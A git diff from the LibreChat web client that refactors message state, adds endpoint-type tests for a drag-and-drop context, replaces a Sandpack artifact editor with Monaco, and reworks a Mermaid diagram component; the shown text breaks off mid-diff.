getMessages: ReturnType['getMessages'];
setMessages: ReturnType['setMessages'];
@@ -39,7 +40,8 @@ export function MessagesViewProvider({ children }: { children: React.ReactNode }
regenerate,
isSubmitting,
conversation,
- latestMessage,
+ latestMessageId,
+ latestMessageDepth,
setAbortScroll,
handleContinue,
setLatestMessage,
@@ -83,10 +85,11 @@ export function MessagesViewProvider({ children }: { children: React.ReactNode }
const messageState = useMemo(
() => ({
index,
- latestMessage,
+ latestMessageId,
+ latestMessageDepth,
setLatestMessage,
}),
- [index, latestMessage, setLatestMessage],
+ [index, latestMessageId, latestMessageDepth, setLatestMessage],
);
/** Combine all values into final context value */
@@ -139,9 +142,9 @@ export function useMessagesOperations() {
/** Hook for components that only need message state */
export function useMessagesState() {
- const { index, latestMessage, setLatestMessage } = useMessagesViewContext();
+ const { index, latestMessageId, latestMessageDepth, setLatestMessage } = useMessagesViewContext();
return useMemo(
- () => ({ index, latestMessage, setLatestMessage }),
- [index, latestMessage, setLatestMessage],
+ () => ({ index, latestMessageId, latestMessageDepth, setLatestMessage }),
+ [index, latestMessageId, latestMessageDepth, setLatestMessage],
);
}
diff --git a/client/src/Providers/__tests__/DragDropContext.spec.tsx b/client/src/Providers/__tests__/DragDropContext.spec.tsx
new file mode 100644
index 0000000000..3c5e0f0796
--- /dev/null
+++ b/client/src/Providers/__tests__/DragDropContext.spec.tsx
@@ -0,0 +1,134 @@
+import React from 'react';
+import { renderHook } from '@testing-library/react';
+import { EModelEndpoint } from 'librechat-data-provider';
+import type { TEndpointsConfig, Agent } from 'librechat-data-provider';
+import { DragDropProvider, useDragDropContext } from '../DragDropContext';
+
+const mockEndpointsConfig: TEndpointsConfig = {
+ [EModelEndpoint.openAI]: { userProvide: false, order: 0 },
+ [EModelEndpoint.agents]: { userProvide: false, order: 1 },
+ [EModelEndpoint.anthropic]: { userProvide: false, order: 6 },
+ Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+ 'Some Endpoint': { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+};
+
+let mockConversation: Record | null = null;
+let mockAgentsMap: Record> = {};
+let mockAgentQueryData: Partial | undefined;
+
+jest.mock('~/data-provider', () => ({
+ useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
+ useGetAgentByIdQuery: () => ({ data: mockAgentQueryData }),
+}));
+
+jest.mock('../AgentsMapContext', () => ({
+ useAgentsMapContext: () => mockAgentsMap,
+}));
+
+jest.mock('../ChatContext', () => ({
+ useChatContext: () => ({ conversation: mockConversation }),
+}));
+
+function wrapper({ children }: { children: React.ReactNode }) {
+ return {children} ;
+}
+
+describe('DragDropContext endpointType resolution', () => {
+ beforeEach(() => {
+ mockConversation = null;
+ mockAgentsMap = {};
+ mockAgentQueryData = undefined;
+ });
+
+ describe('non-agents endpoints', () => {
+ it('resolves custom endpoint type for a custom endpoint', () => {
+ mockConversation = { endpoint: 'Moonshot' };
+ const { result } = renderHook(() => useDragDropContext(), { wrapper });
+ expect(result.current.endpointType).toBe(EModelEndpoint.custom);
+ });
+
+ it('resolves endpoint name for a standard endpoint', () => {
+ mockConversation = { endpoint: EModelEndpoint.openAI };
+ const { result } = renderHook(() => useDragDropContext(), { wrapper });
+ expect(result.current.endpointType).toBe(EModelEndpoint.openAI);
+ });
+ });
+
+ describe('agents endpoint with provider from agentsMap', () => {
+ it('resolves to custom for agent with Moonshot provider', () => {
+ mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
+ mockAgentsMap = {
+ 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial,
+ };
+ const { result } = renderHook(() => useDragDropContext(), { wrapper });
+ expect(result.current.endpointType).toBe(EModelEndpoint.custom);
+ });
+
+ it('resolves to custom for agent with custom provider with spaces', () => {
+ mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
+ mockAgentsMap = {
+ 'agent-1': { provider: 'Some Endpoint', model_parameters: {} } as Partial,
+ };
+ const { result } = renderHook(() => useDragDropContext(), { wrapper });
+ expect(result.current.endpointType).toBe(EModelEndpoint.custom);
+ });
+
+ it('resolves to openAI for agent with openAI provider', () => {
+ mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
+ mockAgentsMap = {
+ 'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial,
+ };
+ const { result } = renderHook(() => useDragDropContext(), { wrapper });
+ expect(result.current.endpointType).toBe(EModelEndpoint.openAI);
+ });
+
+ it('resolves to anthropic for agent with anthropic provider', () => {
+ mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
+ mockAgentsMap = {
+ 'agent-1': { provider: EModelEndpoint.anthropic, model_parameters: {} } as Partial,
+ };
+ const { result } = renderHook(() => useDragDropContext(), { wrapper });
+ expect(result.current.endpointType).toBe(EModelEndpoint.anthropic);
+ });
+ });
+
+ describe('agents endpoint with provider from agentData query', () => {
+ it('uses agentData when agent is not in agentsMap', () => {
+ mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-2' };
+ mockAgentsMap = {};
+ mockAgentQueryData = { provider: 'Moonshot' } as Partial;
+ const { result } = renderHook(() => useDragDropContext(), { wrapper });
+ expect(result.current.endpointType).toBe(EModelEndpoint.custom);
+ });
+ });
+
+ describe('agents endpoint without provider', () => {
+ it('falls back to agents when no agent_id', () => {
+ mockConversation = { endpoint: EModelEndpoint.agents };
+ const { result } = renderHook(() => useDragDropContext(), { wrapper });
+ expect(result.current.endpointType).toBe(EModelEndpoint.agents);
+ });
+
+ it('falls back to agents when agent has no provider', () => {
+ mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
+ mockAgentsMap = { 'agent-1': { model_parameters: {} } as Partial };
+ const { result } = renderHook(() => useDragDropContext(), { wrapper });
+ expect(result.current.endpointType).toBe(EModelEndpoint.agents);
+ });
+ });
+
+ describe('consistency: same endpoint type whether used directly or through agents', () => {
+ it('Moonshot resolves to the same type as direct endpoint and as agent provider', () => {
+ mockConversation = { endpoint: 'Moonshot' };
+ const { result: directResult } = renderHook(() => useDragDropContext(), { wrapper });
+
+ mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
+ mockAgentsMap = {
+ 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial,
+ };
+ const { result: agentResult } = renderHook(() => useDragDropContext(), { wrapper });
+
+ expect(directResult.current.endpointType).toBe(agentResult.current.endpointType);
+ });
+ });
+});
diff --git a/client/src/a11y/LiveAnnouncer.tsx b/client/src/a11y/LiveAnnouncer.tsx
index 9a02711556..0eac8089bc 100644
--- a/client/src/a11y/LiveAnnouncer.tsx
+++ b/client/src/a11y/LiveAnnouncer.tsx
@@ -56,10 +56,13 @@ const LiveAnnouncer: React.FC = ({ children }) => {
const announceAssertive = announcePolite;
- const contextValue = {
- announcePolite,
- announceAssertive,
- };
+ const contextValue = useMemo(
+ () => ({
+ announcePolite,
+ announceAssertive,
+ }),
+ [announcePolite, announceAssertive],
+ );
useEffect(() => {
return () => {
diff --git a/client/src/common/agents-types.ts b/client/src/common/agents-types.ts
index 9ac6b440a3..c3ea06f890 100644
--- a/client/src/common/agents-types.ts
+++ b/client/src/common/agents-types.ts
@@ -1,6 +1,7 @@
import { AgentCapabilities, ArtifactModes } from 'librechat-data-provider';
import type {
AgentModelParameters,
+ AgentToolOptions,
SupportContact,
AgentProvider,
GraphEdge,
@@ -8,6 +9,8 @@ import type {
} from 'librechat-data-provider';
import type { OptionWithIcon, ExtendedFile } from './types';
+export type AgentQueryResult = { found: true; agent: Agent } | { found: false };
+
export type TAgentOption = OptionWithIcon &
Agent & {
knowledge_files?: Array<[string, ExtendedFile]>;
@@ -33,6 +36,8 @@ export type AgentForm = {
model: string | null;
model_parameters: AgentModelParameters;
tools?: string[];
+ /** Per-tool configuration options (deferred loading, allowed callers, etc.) */
+ tool_options?: AgentToolOptions;
provider?: AgentProvider | OptionWithIcon;
/** @deprecated Use edges instead */
agent_ids?: string[];
diff --git a/client/src/components/Agents/tests/VirtualScrollingPerformance.test.tsx b/client/src/components/Agents/tests/VirtualScrollingPerformance.test.tsx
index 1e1b7d1e4b..293bd8878e 100644
--- a/client/src/components/Agents/tests/VirtualScrollingPerformance.test.tsx
+++ b/client/src/components/Agents/tests/VirtualScrollingPerformance.test.tsx
@@ -179,9 +179,7 @@ describe('Virtual Scrolling Performance', () => {
};
it('efficiently handles 1000 agents without rendering all DOM nodes', () => {
- const startTime = performance.now();
renderComponent(1000);
- const endTime = performance.now();
const virtualList = screen.getByTestId('virtual-list');
expect(virtualList).toBeInTheDocument();
@@ -191,19 +189,10 @@ describe('Virtual Scrolling Performance', () => {
const renderedCards = screen.getAllByTestId(/agent-card-/);
expect(renderedCards.length).toBeLessThan(50); // Much less than 1000
expect(renderedCards.length).toBeGreaterThan(0);
-
- // Performance check: rendering should be fast
- const renderTime = endTime - startTime;
- expect(renderTime).toBeLessThan(740);
-
- console.log(`Rendered 1000 agents in ${renderTime.toFixed(2)}ms`);
- console.log(`Only ${renderedCards.length} DOM nodes created for 1000 agents`);
});
it('efficiently handles 5000 agents (stress test)', () => {
- const startTime = performance.now();
renderComponent(5000);
- const endTime = performance.now();
const virtualList = screen.getByTestId('virtual-list');
expect(virtualList).toBeInTheDocument();
@@ -213,13 +202,6 @@ describe('Virtual Scrolling Performance', () => {
const renderedCards = screen.getAllByTestId(/agent-card-/);
expect(renderedCards.length).toBeLessThan(50);
expect(renderedCards.length).toBeGreaterThan(0);
-
- // Performance should still be reasonable
- const renderTime = endTime - startTime;
- expect(renderTime).toBeLessThan(200); // Should render in less than 200ms
-
- console.log(`Rendered 5000 agents in ${renderTime.toFixed(2)}ms`);
- console.log(`Only ${renderedCards.length} DOM nodes created for 5000 agents`);
});
it('calculates correct number of virtual rows for different screen sizes', () => {
diff --git a/client/src/components/Artifacts/ArtifactCodeEditor.tsx b/client/src/components/Artifacts/ArtifactCodeEditor.tsx
index 4ab2b182b8..d03397821d 100644
--- a/client/src/components/Artifacts/ArtifactCodeEditor.tsx
+++ b/client/src/components/Artifacts/ArtifactCodeEditor.tsx
@@ -1,206 +1,326 @@
-import React, { useMemo, useState, useEffect, useRef, memo } from 'react';
+import React, { useMemo, useState, useEffect, useRef, useCallback } from 'react';
import debounce from 'lodash/debounce';
-import { KeyBinding } from '@codemirror/view';
-import { autocompletion, completionKeymap } from '@codemirror/autocomplete';
-import {
- useSandpack,
- SandpackCodeEditor,
- SandpackProvider as StyledProvider,
-} from '@codesandbox/sandpack-react';
-import type { SandpackProviderProps } from '@codesandbox/sandpack-react/unstyled';
-import type { SandpackBundlerFile } from '@codesandbox/sandpack-client';
-import type { CodeEditorRef } from '@codesandbox/sandpack-react';
-import type { ArtifactFiles, Artifact } from '~/common';
-import { useEditArtifact, useGetStartupConfig } from '~/data-provider';
+import MonacoEditor from '@monaco-editor/react';
+import type { Monaco } from '@monaco-editor/react';
+import type { editor } from 'monaco-editor';
+import type { Artifact } from '~/common';
import { useMutationState, useCodeState } from '~/Providers/EditorContext';
import { useArtifactsContext } from '~/Providers';
-import { sharedFiles, sharedOptions } from '~/utils/artifacts';
+import { useEditArtifact } from '~/data-provider';
-const CodeEditor = memo(
- ({
- fileKey,
- readOnly,
- artifact,
- editorRef,
- }: {
- fileKey: string;
- readOnly?: boolean;
- artifact: Artifact;
- editorRef: React.MutableRefObject;
- }) => {
- const { sandpack } = useSandpack();
- const [currentUpdate, setCurrentUpdate] = useState(null);
- const { isMutating, setIsMutating } = useMutationState();
- const { setCurrentCode } = useCodeState();
- const editArtifact = useEditArtifact({
- onMutate: (vars) => {
- setIsMutating(true);
- setCurrentUpdate(vars.updated);
- },
- onSuccess: () => {
- setIsMutating(false);
- setCurrentUpdate(null);
- },
- onError: () => {
- setIsMutating(false);
- },
- });
+const LANG_MAP: Record = {
+ javascript: 'javascript',
+ typescript: 'typescript',
+ python: 'python',
+ css: 'css',
+ json: 'json',
+ markdown: 'markdown',
+ html: 'html',
+ xml: 'xml',
+ sql: 'sql',
+ yaml: 'yaml',
+ shell: 'shell',
+ bash: 'shell',
+ tsx: 'typescript',
+ jsx: 'javascript',
+ c: 'c',
+ cpp: 'cpp',
+ java: 'java',
+ go: 'go',
+ rust: 'rust',
+ kotlin: 'kotlin',
+ swift: 'swift',
+ php: 'php',
+ ruby: 'ruby',
+ r: 'r',
+ lua: 'lua',
+ scala: 'scala',
+ perl: 'perl',
+};
- /**
- * Create stable debounced mutation that doesn't depend on changing callbacks
- * Use refs to always access the latest values without recreating the debounce
- */
- const artifactRef = useRef(artifact);
- const isMutatingRef = useRef(isMutating);
- const currentUpdateRef = useRef(currentUpdate);
- const editArtifactRef = useRef(editArtifact);
- const setCurrentCodeRef = useRef(setCurrentCode);
+const TYPE_MAP: Record = {
+ 'text/html': 'html',
+ 'application/vnd.code-html': 'html',
+ 'application/vnd.react': 'typescript',
+ 'application/vnd.ant.react': 'typescript',
+ 'text/markdown': 'markdown',
+ 'text/md': 'markdown',
+ 'text/plain': 'plaintext',
+ 'application/vnd.mermaid': 'markdown',
+};
- useEffect(() => {
- artifactRef.current = artifact;
- }, [artifact]);
+function getMonacoLanguage(type?: string, language?: string): string {
+ if (language && LANG_MAP[language]) {
+ return LANG_MAP[language];
+ }
+ return TYPE_MAP[type ?? ''] ?? 'plaintext';
+}
- useEffect(() => {
- isMutatingRef.current = isMutating;
- }, [isMutating]);
-
- useEffect(() => {
- currentUpdateRef.current = currentUpdate;
- }, [currentUpdate]);
-
- useEffect(() => {
- editArtifactRef.current = editArtifact;
- }, [editArtifact]);
-
- useEffect(() => {
- setCurrentCodeRef.current = setCurrentCode;
- }, [setCurrentCode]);
-
- /**
- * Create debounced mutation once - never recreate it
- * All values are accessed via refs so they're always current
- */
- const debouncedMutation = useMemo(
- () =>
- debounce((code: string) => {
- if (readOnly) {
- return;
- }
- if (isMutatingRef.current) {
- return;
- }
- if (artifactRef.current.index == null) {
- return;
- }
-
- const artifact = artifactRef.current;
- const artifactIndex = artifact.index;
- const isNotOriginal =
- code && artifact.content != null && code.trim() !== artifact.content.trim();
- const isNotRepeated =
- currentUpdateRef.current == null
- ? true
- : code != null && code.trim() !== currentUpdateRef.current.trim();
-
- if (artifact.content && isNotOriginal && isNotRepeated && artifactIndex != null) {
- setCurrentCodeRef.current(code);
- editArtifactRef.current.mutate({
- index: artifactIndex,
- messageId: artifact.messageId ?? '',
- original: artifact.content,
- updated: code,
- });
- }
- }, 500),
- [readOnly],
- );
-
- /**
- * Listen to Sandpack file changes and trigger debounced mutation
- */
- useEffect(() => {
- const currentCode = (sandpack.files['/' + fileKey] as SandpackBundlerFile | undefined)?.code;
- if (currentCode) {
- debouncedMutation(currentCode);
- }
- }, [sandpack.files, fileKey, debouncedMutation]);
-
- /**
- * Cleanup: cancel pending mutations when component unmounts or artifact changes
- */
- useEffect(() => {
- return () => {
- debouncedMutation.cancel();
- };
- }, [artifact.id, debouncedMutation]);
-
- return (
- (completionKeymap)}
- className="hljs language-javascript bg-black"
- />
- );
- },
-);
-
-export const ArtifactCodeEditor = function ({
- files,
- fileKey,
- template,
+export const ArtifactCodeEditor = function ArtifactCodeEditor({
artifact,
- editorRef,
- sharedProps,
+ monacoRef,
readOnly: externalReadOnly,
}: {
- fileKey: string;
artifact: Artifact;
- files: ArtifactFiles;
- template: SandpackProviderProps['template'];
- sharedProps: Partial;
- editorRef: React.MutableRefObject;
+ monacoRef: React.MutableRefObject;
readOnly?: boolean;
}) {
- const { data: config } = useGetStartupConfig();
const { isSubmitting } = useArtifactsContext();
- const options: typeof sharedOptions = useMemo(() => {
- if (!config) {
- return sharedOptions;
- }
- return {
- ...sharedOptions,
- activeFile: '/' + fileKey,
- bundlerURL: template === 'static' ? config.staticBundlerURL : config.bundlerURL,
- };
- }, [config, template, fileKey]);
- const initialReadOnly = (externalReadOnly ?? false) || (isSubmitting ?? false);
- const [readOnly, setReadOnly] = useState(initialReadOnly);
- useEffect(() => {
- setReadOnly((externalReadOnly ?? false) || (isSubmitting ?? false));
- }, [isSubmitting, externalReadOnly]);
+ const readOnly = (externalReadOnly ?? false) || isSubmitting;
+ const { setCurrentCode } = useCodeState();
+ const [currentUpdate, setCurrentUpdate] = useState(null);
+ const { isMutating, setIsMutating } = useMutationState();
+ const editArtifact = useEditArtifact({
+ onMutate: (vars) => {
+ setIsMutating(true);
+ setCurrentUpdate(vars.updated);
+ },
+ onSuccess: () => {
+ setIsMutating(false);
+ setCurrentUpdate(null);
+ },
+ onError: () => {
+ setIsMutating(false);
+ },
+ });
- if (Object.keys(files).length === 0) {
+ const artifactRef = useRef(artifact);
+ const isMutatingRef = useRef(isMutating);
+ const currentUpdateRef = useRef(currentUpdate);
+ const editArtifactRef = useRef(editArtifact);
+ const setCurrentCodeRef = useRef(setCurrentCode);
+ const prevContentRef = useRef(artifact.content ?? '');
+ const prevArtifactId = useRef(artifact.id);
+ const prevReadOnly = useRef(readOnly);
+
+ artifactRef.current = artifact;
+ isMutatingRef.current = isMutating;
+ currentUpdateRef.current = currentUpdate;
+ editArtifactRef.current = editArtifact;
+ setCurrentCodeRef.current = setCurrentCode;
+
+ const debouncedMutation = useMemo(
+ () =>
+ debounce((code: string) => {
+ if (readOnly || isMutatingRef.current || artifactRef.current.index == null) {
+ return;
+ }
+ const art = artifactRef.current;
+ const isNotOriginal = art.content != null && code.trim() !== art.content.trim();
+ const isNotRepeated =
+ currentUpdateRef.current == null ? true : code.trim() !== currentUpdateRef.current.trim();
+
+ if (art.content != null && isNotOriginal && isNotRepeated && art.index != null) {
+ setCurrentCodeRef.current(code);
+ editArtifactRef.current.mutate({
+ index: art.index,
+ messageId: art.messageId ?? '',
+ original: art.content,
+ updated: code,
+ });
+ }
+ }, 500),
+ [readOnly],
+ );
+
+ useEffect(() => {
+ return () => debouncedMutation.cancel();
+ }, [artifact.id, debouncedMutation]);
+
+ /**
+ * Streaming: use model.applyEdits() to append new content.
+ * Unlike setValue/pushEditOperations, applyEdits preserves existing
+ * tokens so syntax highlighting doesn't flash during updates.
+ */
+ useEffect(() => {
+ const ed = monacoRef.current;
+ if (!ed || !readOnly) {
+ return;
+ }
+ const newContent = artifact.content ?? '';
+ const prev = prevContentRef.current;
+
+ if (newContent === prev) {
+ return;
+ }
+
+ const model = ed.getModel();
+ if (!model) {
+ return;
+ }
+
+ if (newContent.startsWith(prev) && prev.length > 0) {
+ const appended = newContent.slice(prev.length);
+ const endPos = model.getPositionAt(model.getValueLength());
+ model.applyEdits([
+ {
+ range: {
+ startLineNumber: endPos.lineNumber,
+ startColumn: endPos.column,
+ endLineNumber: endPos.lineNumber,
+ endColumn: endPos.column,
+ },
+ text: appended,
+ },
+ ]);
+ } else {
+ model.setValue(newContent);
+ }
+
+ prevContentRef.current = newContent;
+ ed.revealLine(model.getLineCount());
+ }, [artifact.content, readOnly, monacoRef]);
+
+ useEffect(() => {
+ if (artifact.id === prevArtifactId.current) {
+ return;
+ }
+ prevArtifactId.current = artifact.id;
+ prevContentRef.current = artifact.content ?? '';
+ const ed = monacoRef.current;
+ if (ed && artifact.content != null) {
+ ed.getModel()?.setValue(artifact.content);
+ }
+ }, [artifact.id, artifact.content, monacoRef]);
+
+ useEffect(() => {
+ if (prevReadOnly.current && !readOnly && artifact.content != null) {
+ const ed = monacoRef.current;
+ if (ed) {
+ ed.getModel()?.setValue(artifact.content);
+ prevContentRef.current = artifact.content;
+ }
+ }
+ prevReadOnly.current = readOnly;
+ }, [readOnly, artifact.content, monacoRef]);
+
+ const handleChange = useCallback(
+ (value: string | undefined) => {
+ if (value === undefined || readOnly) {
+ return;
+ }
+ prevContentRef.current = value;
+ setCurrentCode(value);
+ if (value.length > 0) {
+ debouncedMutation(value);
+ }
+ },
+ [readOnly, debouncedMutation, setCurrentCode],
+ );
+
+ /**
+ * Disable all validation — this is an artifact viewer/editor, not an IDE.
+ * Note: these are global Monaco settings that affect all editor instances on the page.
+ * The `as unknown` cast is required because monaco-editor v0.55 types `.languages.typescript`
+ * as `{ deprecated: true }` while the runtime API is fully functional.
+ */
+ const handleBeforeMount = useCallback((monaco: Monaco) => {
+ const { typescriptDefaults, javascriptDefaults, JsxEmit } = monaco.languages
+ .typescript as unknown as {
+ typescriptDefaults: {
+ setDiagnosticsOptions: (o: {
+ noSemanticValidation: boolean;
+ noSyntaxValidation: boolean;
+ }) => void;
+ setCompilerOptions: (o: {
+ allowNonTsExtensions: boolean;
+ allowJs: boolean;
+ jsx: number;
+ }) => void;
+ };
+ javascriptDefaults: {
+ setDiagnosticsOptions: (o: {
+ noSemanticValidation: boolean;
+ noSyntaxValidation: boolean;
+ }) => void;
+ setCompilerOptions: (o: {
+ allowNonTsExtensions: boolean;
+ allowJs: boolean;
+ jsx: number;
+ }) => void;
+ };
+ JsxEmit: { React: number };
+ };
+ const diagnosticsOff = { noSemanticValidation: true, noSyntaxValidation: true };
+ const compilerBase = { allowNonTsExtensions: true, allowJs: true, jsx: JsxEmit.React };
+ typescriptDefaults.setDiagnosticsOptions(diagnosticsOff);
+ javascriptDefaults.setDiagnosticsOptions(diagnosticsOff);
+ typescriptDefaults.setCompilerOptions(compilerBase);
+ javascriptDefaults.setCompilerOptions(compilerBase);
+ }, []);
+
+ const handleMount = useCallback(
+ (ed: editor.IStandaloneCodeEditor) => {
+ monacoRef.current = ed;
+ prevContentRef.current = ed.getModel()?.getValue() ?? artifact.content ?? '';
+ if (readOnly) {
+ const model = ed.getModel();
+ if (model) {
+ ed.revealLine(model.getLineCount());
+ }
+ }
+ },
+ // eslint-disable-next-line react-hooks/exhaustive-deps
+ [monacoRef],
+ );
+
+ const language = getMonacoLanguage(artifact.type, artifact.language);
+
+ const editorOptions = useMemo(
+ () => ({
+ readOnly,
+ minimap: { enabled: false },
+ lineNumbers: 'on',
+ scrollBeyondLastLine: false,
+ fontSize: 13,
+ tabSize: 2,
+ wordWrap: 'on',
+ automaticLayout: true,
+ padding: { top: 8 },
+ renderLineHighlight: readOnly ? 'none' : 'line',
+ cursorStyle: readOnly ? 'underline-thin' : 'line',
+ scrollbar: {
+ vertical: 'visible',
+ horizontal: 'auto',
+ verticalScrollbarSize: 8,
+ horizontalScrollbarSize: 8,
+ useShadows: false,
+ alwaysConsumeMouseWheel: false,
+ },
+ overviewRulerLanes: 0,
+ hideCursorInOverviewRuler: true,
+ overviewRulerBorder: false,
+ folding: false,
+ glyphMargin: false,
+ colorDecorators: !readOnly,
+ occurrencesHighlight: readOnly ? 'off' : 'singleFile',
+ selectionHighlight: !readOnly,
+ renderValidationDecorations: readOnly ? 'off' : 'editable',
+ quickSuggestions: !readOnly,
+ suggestOnTriggerCharacters: !readOnly,
+ parameterHints: { enabled: !readOnly },
+ hover: { enabled: !readOnly },
+ matchBrackets: readOnly ? 'never' : 'always',
+ }),
+ [readOnly],
+ );
+
+ if (!artifact.content) {
return null;
}
return (
-
-
-
+
+
+
);
};
diff --git a/client/src/components/Artifacts/ArtifactTabs.tsx b/client/src/components/Artifacts/ArtifactTabs.tsx
index 8e2a92eb9c..32332215f0 100644
--- a/client/src/components/Artifacts/ArtifactTabs.tsx
+++ b/client/src/components/Artifacts/ArtifactTabs.tsx
@@ -1,30 +1,26 @@
import { useRef, useEffect } from 'react';
import * as Tabs from '@radix-ui/react-tabs';
import type { SandpackPreviewRef } from '@codesandbox/sandpack-react/unstyled';
-import type { CodeEditorRef } from '@codesandbox/sandpack-react';
+import type { editor } from 'monaco-editor';
import type { Artifact } from '~/common';
import { useCodeState } from '~/Providers/EditorContext';
-import { useArtifactsContext } from '~/Providers';
import useArtifactProps from '~/hooks/Artifacts/useArtifactProps';
-import { useAutoScroll } from '~/hooks/Artifacts/useAutoScroll';
import { ArtifactCodeEditor } from './ArtifactCodeEditor';
import { useGetStartupConfig } from '~/data-provider';
import { ArtifactPreview } from './ArtifactPreview';
export default function ArtifactTabs({
artifact,
- editorRef,
previewRef,
isSharedConvo,
}: {
artifact: Artifact;
- editorRef: React.MutableRefObject;
previewRef: React.MutableRefObject;
isSharedConvo?: boolean;
}) {
- const { isSubmitting } = useArtifactsContext();
const { currentCode, setCurrentCode } = useCodeState();
const { data: startupConfig } = useGetStartupConfig();
+ const monacoRef = useRef(null);
const lastIdRef = useRef(null);
useEffect(() => {
@@ -34,33 +30,24 @@ export default function ArtifactTabs({
lastIdRef.current = artifact.id;
}, [setCurrentCode, artifact.id]);
- const content = artifact.content ?? '';
- const contentRef = useRef(null);
- useAutoScroll({ ref: contentRef, content, isSubmitting });
-
const { files, fileKey, template, sharedProps } = useArtifactProps({ artifact });
return (
-
+
-
+
();
const previewRef = useRef();
const [isVisible, setIsVisible] = useState(false);
const [isClosing, setIsClosing] = useState(false);
@@ -297,7 +296,6 @@ export default function Artifacts() {
}
previewRef={previewRef as React.MutableRefObject}
isSharedConvo={isSharedConvo}
/>
diff --git a/client/src/components/Artifacts/Code.tsx b/client/src/components/Artifacts/Code.tsx
index 6894ce775b..001b010908 100644
--- a/client/src/components/Artifacts/Code.tsx
+++ b/client/src/components/Artifacts/Code.tsx
@@ -1,11 +1,8 @@
-import React, { memo, useEffect, useRef, useState } from 'react';
+import React, { memo, useState } from 'react';
import copy from 'copy-to-clipboard';
-import rehypeKatex from 'rehype-katex';
-import ReactMarkdown from 'react-markdown';
import { Button } from '@librechat/client';
-import rehypeHighlight from 'rehype-highlight';
import { Copy, CircleCheckBig } from 'lucide-react';
-import { handleDoubleClick, langSubset } from '~/utils';
+import { handleDoubleClick } from '~/utils';
import { useLocalize } from '~/hooks';
type TCodeProps = {
@@ -29,74 +26,6 @@ export const code: React.ElementType = memo(({ inline, className, children }: TC
return {children};
});
-export const CodeMarkdown = memo(
- ({ content = '', isSubmitting }: { content: string; isSubmitting: boolean }) => {
- const scrollRef = useRef(null);
- const [userScrolled, setUserScrolled] = useState(false);
- const currentContent = content;
- const rehypePlugins = [
- [rehypeKatex],
- [
- rehypeHighlight,
- {
- detect: true,
- ignoreMissing: true,
- subset: langSubset,
- },
- ],
- ];
-
- useEffect(() => {
- const scrollContainer = scrollRef.current;
- if (!scrollContainer) {
- return;
- }
-
- const handleScroll = () => {
- const { scrollTop, scrollHeight, clientHeight } = scrollContainer;
- const isNearBottom = scrollHeight - scrollTop - clientHeight < 50;
-
- if (!isNearBottom) {
- setUserScrolled(true);
- } else {
- setUserScrolled(false);
- }
- };
-
- scrollContainer.addEventListener('scroll', handleScroll);
-
- return () => {
- scrollContainer.removeEventListener('scroll', handleScroll);
- };
- }, []);
-
- useEffect(() => {
- const scrollContainer = scrollRef.current;
- if (!scrollContainer || !isSubmitting || userScrolled) {
- return;
- }
-
- scrollContainer.scrollTop = scrollContainer.scrollHeight;
- }, [content, isSubmitting, userScrolled]);
-
- return (
-
-
- {currentContent}
-
-
- );
- },
-);
-
export const CopyCodeButton: React.FC<{ content: string }> = ({ content }) => {
const localize = useLocalize();
const [isCopied, setIsCopied] = useState(false);
diff --git a/client/src/components/Artifacts/Mermaid.tsx b/client/src/components/Artifacts/Mermaid.tsx
index f7291998a4..5eb55be3ae 100644
--- a/client/src/components/Artifacts/Mermaid.tsx
+++ b/client/src/components/Artifacts/Mermaid.tsx
@@ -1,153 +1,123 @@
-import React, { useEffect, useRef, useState } from 'react';
+import React, { useEffect, useRef, useState, useCallback } from 'react';
import mermaid from 'mermaid';
import { Button } from '@librechat/client';
-import { TransformWrapper, TransformComponent, ReactZoomPanPinchRef } from 'react-zoom-pan-pinch';
-import { ZoomIn, ZoomOut, RefreshCw } from 'lucide-react';
+import { ZoomIn, ZoomOut, RotateCcw } from 'lucide-react';
+import { TransformWrapper, TransformComponent } from 'react-zoom-pan-pinch';
+import type { ReactZoomPanPinchRef } from 'react-zoom-pan-pinch';
+import { artifactFlowchartConfig } from '~/utils/mermaid';
interface MermaidDiagramProps {
content: string;
+ isDarkMode?: boolean;
}
-/** Note: this is just for testing purposes, don't actually use this component */
-const MermaidDiagram: React.FC = ({ content }) => {
+const MermaidDiagram: React.FC = ({ content, isDarkMode = true }) => {
const mermaidRef = useRef(null);
const transformRef = useRef(null);
const [isRendered, setIsRendered] = useState(false);
+ const theme = isDarkMode ? 'dark' : 'neutral';
+ const bgColor = isDarkMode ? '#212121' : '#FFFFFF';
useEffect(() => {
mermaid.initialize({
startOnLoad: false,
- theme: 'base',
+ theme,
securityLevel: 'sandbox',
- themeVariables: {
- background: '#282C34',
- primaryColor: '#333842',
- secondaryColor: '#333842',
- tertiaryColor: '#333842',
- primaryTextColor: '#ABB2BF',
- secondaryTextColor: '#ABB2BF',
- lineColor: '#636D83',
- fontSize: '16px',
- nodeBorder: '#636D83',
- mainBkg: '#282C34',
- altBackground: '#282C34',
- textColor: '#ABB2BF',
- edgeLabelBackground: '#282C34',
- clusterBkg: '#282C34',
- clusterBorder: '#636D83',
- labelBoxBkgColor: '#333842',
- labelBoxBorderColor: '#636D83',
- labelTextColor: '#ABB2BF',
- },
- flowchart: {
- curve: 'basis',
- nodeSpacing: 50,
- rankSpacing: 50,
- diagramPadding: 8,
- htmlLabels: true,
- useMaxWidth: true,
- padding: 15,
- wrappingWidth: 200,
- },
+ flowchart: artifactFlowchartConfig,
});
const renderDiagram = async () => {
- if (mermaidRef.current) {
- try {
- const { svg } = await mermaid.render('mermaid-diagram', content);
- mermaidRef.current.innerHTML = svg;
+ if (!mermaidRef.current) {
+ return;
+ }
- const svgElement = mermaidRef.current.querySelector('svg');
- if (svgElement) {
- svgElement.style.width = '100%';
- svgElement.style.height = '100%';
+ try {
+ const { svg } = await mermaid.render('mermaid-diagram', content);
+ mermaidRef.current.innerHTML = svg;
- const pathElements = svgElement.querySelectorAll('path');
- pathElements.forEach((path) => {
